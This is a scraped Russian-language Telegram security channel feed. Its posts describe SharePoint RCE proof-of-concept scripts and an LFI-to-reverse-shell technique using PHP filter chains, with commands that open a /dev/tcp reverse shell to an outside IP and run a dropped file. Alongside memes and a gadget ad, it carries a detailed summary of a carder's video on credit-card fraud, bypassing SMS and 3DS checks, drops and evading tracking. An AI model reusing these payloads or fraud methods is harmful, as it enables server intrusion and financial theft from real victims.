sh://tab
52 subscribers
589 photos
103 videos
83 files
1.01K links
Инфосек, похек и безпека.
Download Telegram
RCE через Microsoft SharePoint Server 2019

Microsoft SharePoint — веб-платформа для совместной работы, управления документами и организации совместного доступа к информации в организациях, которая широко используется в корпоративной среде.

Недавно увидел интересные CVE которые затрагивают эту веб-платформу:

CVE-2024-38094
CVE-2024-38024
CVE-2024-38023

Чтобы успешно эксплуатировать RCE, необходимо выполнить несколько условий, а именно
1) Сетевой доступ к уязвимому серверу SharePoint.
2) Учетные данные (лог/пасс) для NTLM аутентификации + учетная запись должна иметь права на создание файлов и папок.

Для успешной эксплуатации уязвимости предоставляется три скрипта: poc_filtered.py, poc_specific.py и poc_sub.py. Сейчас коротко разберем суть и как они работают.

Все три скрипта используют NTLM аутентификацию для доступа к API SharePoint и выполняют схожие действия:

Скрипты сначала аутентифицируются на сервере SharePoint с использованием предоставленных учетных данных. Затем они создают необходимые папки на сервере, такие как BusinessDataMetadataCatalog, отправляя POST-запросы к API SharePoint по пути /api/web/Folders.

Далее создается и загружается файл метаданных BDCMetadata.bdcm, содержащий информацию для выполнения уязвимости. В информации находятся команды для выполнения различных методов SharePoint, таких как GetCreatorView, GetDefaultValues, GetFilters и FindFiltered. Эти методы позволяют взаимодействовать с объектами и данными SharePoint, что в конечном итоге позволяет выполнить произвольный код.

То есть после запуска poc_filtered.py создается новая папка BusinessDataMetadataCatalog, после чего скрипт получает и сохраняет значение X-RequestDigest для дальнейших запросов. X-RequestDigest — это токен, подтверждающий, что запрос исходит от подлинного пользователя. Этот токен включается в заголовки последующих запросов для подтверждения их подлинности. Затем скрипт создает и загружает файл метаданных BDCMetadata.bdcm в созданную папку. Этот файл содержит данные и команды, которые будут использоваться для выполнения уязвимости. В конце, скрипт отправляет специально сформированный XML-запрос к API SharePoint для выполнения уязвимых методов, что позволяет выполнить произвольный код на сервере.

Но между скриптами есть небольшая разница, а именно в используемых методах.

1) poc_filtered.py использует метод FindFiltered для взаимодействия с объектами SharePoint.
2) poc_specific.py использует метод FindSpecific для выполнения конкретных задач и команд.
3) poc_sub.py в этом скрипте используется метод Subscribe для подписки на события или действия.

PoC
PoC Video
tg_image_4241186859.jpeg
20 KB
ФБ проливает базовая LFI докрученная до reverse shell

LFI — уязвимость в вебе, которая позволяет хакеру включать серверные файлы. Происходит это из-за неправильного использования функций include, require, include_once и require_once в PHP. Существует множество способов, как сделать LFI2RCE, но сегодня возьмем мой любимый.

PHP filter chain generator


Коротко о работе скрипта:
Он использует комбинацию PHP-фильтров для создания данных, закодированных в Base64, для включения и исполнения произвольного кода. Создавая цепочки фильтров, которые выполняются последовательно, он декодирует данные и преобразует их в payload. Таким образом, мы можем получить RCE, запустив скрипт и вставив вывод в место вашего LFI.

python3 script.py --chain '<?php system("ls"); ?>'


Эта техника стала моим тузом в рукаве, но что если на этом не останавливаться? Как раскрутить эту технику до reverse shell?

Долго не думая, начинаю делать как чувствую.

python3 script.py --chain '<?php system("/bin/sh -i >& /dev/tcp/10.2.6.66/20103 0>&1"); ?>'


Увидел вывод нашего скрипта и понял, что сейчас будет. Он нереально огромный, и GET-запрос, конечно же, его отклонил с ошибкой.

HTTP/1.1  414 Request-URI Too Long
The requested URL's length exceeds the capacity
limit for this server


Пробовал разные методы обхода, докрутки и практически сдался, но пришла в голову идея. Чтобы скрипт работал, его вывод должен быть небольшого размера. Осознал, что его надо максимально сокращать, и вот какая была реализация.

Написал скрипт, который создает файл в директории /tmp/ с названием в одну букву /tmp/a, и мы записываем в него наш shell посимвольно. В итоге мы имеем файл a с reverse shell.
Дальше нам остается только выдать права и запустить наш файл, используя все так же нашу технику.

Таким образом, была реализована крафтовая докрутка до reverse shell. Ниже прикреплю файлы, реализацию, скрины.

Реализация:
nc -lvnp 7777

python3 shellconstructor.py

python3 script.py --chain "<?php system('chmod +x /tmp/a'); ?>"

python3 script.py --chain "<?php system('cd /tmp/ ; ./a'); ?>"
Forwarded from The After Times
Forwarded from /g/'s Tech Memes (depresso espresso)
uk sucks
Forwarded from /g/'s Tech Memes (depresso espresso)
/g/'s Tech Memes
Photo
"we are arresting you due to a comment you posted on facebook"☝️🤓🤓🤓🤓

imagine getting arrested over a fucking comment. millions must use vpn. millions must be anonymous. millions must use fake identity online. millions must have good opsec.
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Cybred
This media is not supported in your browser
VIEW IN TELEGRAM
Загадки человечества:
— гибель Титаника
— Тунгусский метеорит
— Бермудский треугольник

— как работает ценообразование на C&C?!

1. Cobalt Strike + Core Impact = $12,600 user/year (базовая версия)
2. Nighthawk ($10,000) * 3 (минимальное кол-во лицензий) = $30,000 year

Сегодня список пополнился новым софтом, — 0xc2 https://www.0xc2.io/
€4,500 * 2 = €9000 year.

Выглядит так, как будто кто-то форкнул опенсорсный havoc, перекрасил иконки и выставил на продажу.
Forwarded from club1337
⚜️ @club1337
Forwarded from Zhovner Hub
Мы сделали новый девайс — Busy Status Bar https://busy.bar

Это LED табличка, которая умеет показывать ваш статус, когда вы работаете, играете, разговариваете на звонке, чтобы не выходить из состояния гиперфокуса.

Главная идея в том, чтобы сказать людям “отъебитесь на 15 минут” еще до того как вас отвлекли. Потому что основная энергия тратится на переключение контекста, когда, например, вас оборвали на середине написания важного письма, продолжить с середины сильно сложнее.

⏳ Можно использовать тупо оффлайн с кнопок, есть встроенный помодоро таймер, для тех кто угорает по техникам GTD (Get Things Done)

🛑Для тех кто работает в офисе или из дома, можно повесить на дверь и удаленно через API включать надпись “НЕ ВХОДИТЬ” или любые кастомные сообщения

🎤 Если прикрутить автоматизацию на десктопе, можно включать статус ON CALL всегда когда на компе активируется микрофон

⚙️ Для задротов есть открытое API и SDK, можно прикрутить любые костыли, в том числе ваш умный-глупый дом

Буду рассказывать здесь про другие функции и процесс разработки. Сейчас мы только зафиналили продуктовую концепцию, осталось закончить железо и механику и начнем производить.

Первый черновик сайта —> https://busy.bar
Forwarded from KnightPentest🛡
Бывший российский авторитет-хакер 2000 с эксплоита поделился своим опытом 3 часть:
1. 70% хакеров нар🙀маны
2. Как американские хакеры проносили запрещенные вещества на борт самолета, способ через макбук.
3. Самые крупные хакерские сообщества в 2000-2014.
4. Скиммеры. Сколько тратили злоумышленники на изготовление и как это работает.
5. Как банковские мошенники доставляли оборудование друг-другу.
6. Почему он в случае проблем переехал бы в Грузию.
7. Почему он разрешит заниматься своим детям такой же деятельностью
и многое другое читайте в этом интервью...

читать RU👊
read EN

😤 - Давай больше контента с ним.
🖕 - Все очень понравилось, но пригласи уже другого специалиста.

@mirea - единственный авторитетный ресурс по информационной безопасности👊

#xss_is
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from KnightPentest🛡
Очень хотели взять интервью у xrahitel с xss/exploit. Очень интересный персонаж и профессионал своего дела. К сожалению не сложилось, он сообщил нам, что не видит в этом смысла, т.к уже давал интервью
Ютуб канал у него очень интересный. Вот небольшой разбор от @mirea его видеоролика: "Как работает американская банковская система в глазах злоумышленника"
4:16 - Хорошие злоумышленники не работают по России. Правило. Почему так сложилось. Нужно соблюдать некоторые правила безопасности. Моральные принципы. Американцам возвращают деньги банки, страховая, государство. Страдает только их государство. А в России нельзя доказать, что ты не верблюд. Служба безопасности банка подключается только в случае больших сумм. Твой партнер может быть завербован и уже работает в банке😂😂😂😂.
11:30 - Карточки бывают двух типов дебетовые и кредитные. Есть разные виды кредитных карт, которые можно в 0 загонять(Овердрафт). Технические овердрафт. Нужно купить чайник, а у нас только 5 тысяч, ожидаем в реальном времени одобрение на кредит. Технические овердрафт для корпоративных лиц, подставные компании.
19:00 - про американские карточки, расшифровка штатов, зип коды/пост код(как у нас индекс), адрес электронной почты (по-желанию).
23:00 - что обозначают цифры в номере банковской карточке. Первая цифра тип карточки (маестро, цириус и т.д), первые 6 бин номер, по бину можно узнать банк.
26:00 - узнать есть ли доступ к интернет банку - это называется энролл/заролить и т.д.
27:00 - защита для корпоративных лиц. Не вставил флешку - не получил доступ. Электронные подписи, обычно хранится у бахгалтера и у директора. Смс подтверждение(обход дубликат симки).
30:00 - защита физических лиц. Защита для визы. Мастеркард секьюрити код. 3DS. Партнеры что-то не поделили, а так смысл один и тот же. Verified by Visa (VbV) для интернет платежей еще одна проверка(смс/распечатывать код/скретч карты(как лотерейные билеты)). Смс - это самое уязвимое дело.
35:00 - xrahitel пытается доказать почему американцы тупые (анекдот). Жиреют лысеют от мобильных телефонов. 40% людей пользуются телефона в Америке, в России намного больше. Поэтому у американцев больше банков без vbv.
38:00 - что такое мерчант. Зачем азиаты пишут свои мерчи.
40:00 - карточки которые используют злоумышленники, которые хорошо проходят. Ценовая политика на маркетплейсах у злоумышленников(старая информация).
45:00 - ssn (Social Security number) - Номер социального страхования. MMN - mother maiden name - девичья фамилия матери. MDOB - mother date of birth -датат рождения матери. Сфера применений довольно широка-от создания энролла карты до непосредственного прозвона банка от имени холдера, ведь порой от количества информации о человеке (кардхолдере), по сути зависит успех всего дела.
46:30 - энроллы. Ценовая политика.
54:40 - биллинг адрес - это адрес проживания кардхолдера.
56:30 - злоумышленники ломают порно сайты американские, чтобы добыть кредитки. Злоумышленнику используют ботнет. Отчеты по ботам/зараженным компьютерам. Токены, ключи, все что грабится, ддос, модуль впн, зайти как на дедик, клиент даже не увидит подключение, автоподмена. 15 тысяч долларов стоило такое удовольствие.
1:09:10 - как не палить свой айпи адрес в случае разрыва соединения. Использовать wifi соседа плохая затея. Модем + сим-карта. Ни один дедик, ни один сокс, впн не спасет, если захотят вычислить настоящий ip. Все равно сделают запрос провайдеру.
1:12:00 - нельзя брать с собой телефон, когда снимаешь наличные. Обратятся в биллинг отдел, найдут какое активное устройство было в момент снятия. ios устройства биллингуются с точностью 2-3 метров. Телефон с выключенной батареей посылает сигнал еще 10 минут (сделано в основном для режима sos)
1:23:00 - прозвон сервисы, рисовальщики. Как злоумышленники обходят верификацию, проверки магазинов.
1:26:00 - скуп сервисы, дропы. Как злоумышленники отправляют товары.
1:29:30 - xrahitel разосрался с мошенническими американскими форумами, послал всем нахер. Обзор на форумы злоумышленников самые распространенные(коровка, мазафака и т.д).
Forwarded from KnightPentest🛡
1:34:00 - злоумышленники используют кодеров, которые обходят антифрод.

⚠️Весь материал используйте только в ознакомительных целях


@mirea - единственный авторитетный ресурс по информационной безопасности👊
Please open Telegram to view this post
VIEW IN TELEGRAM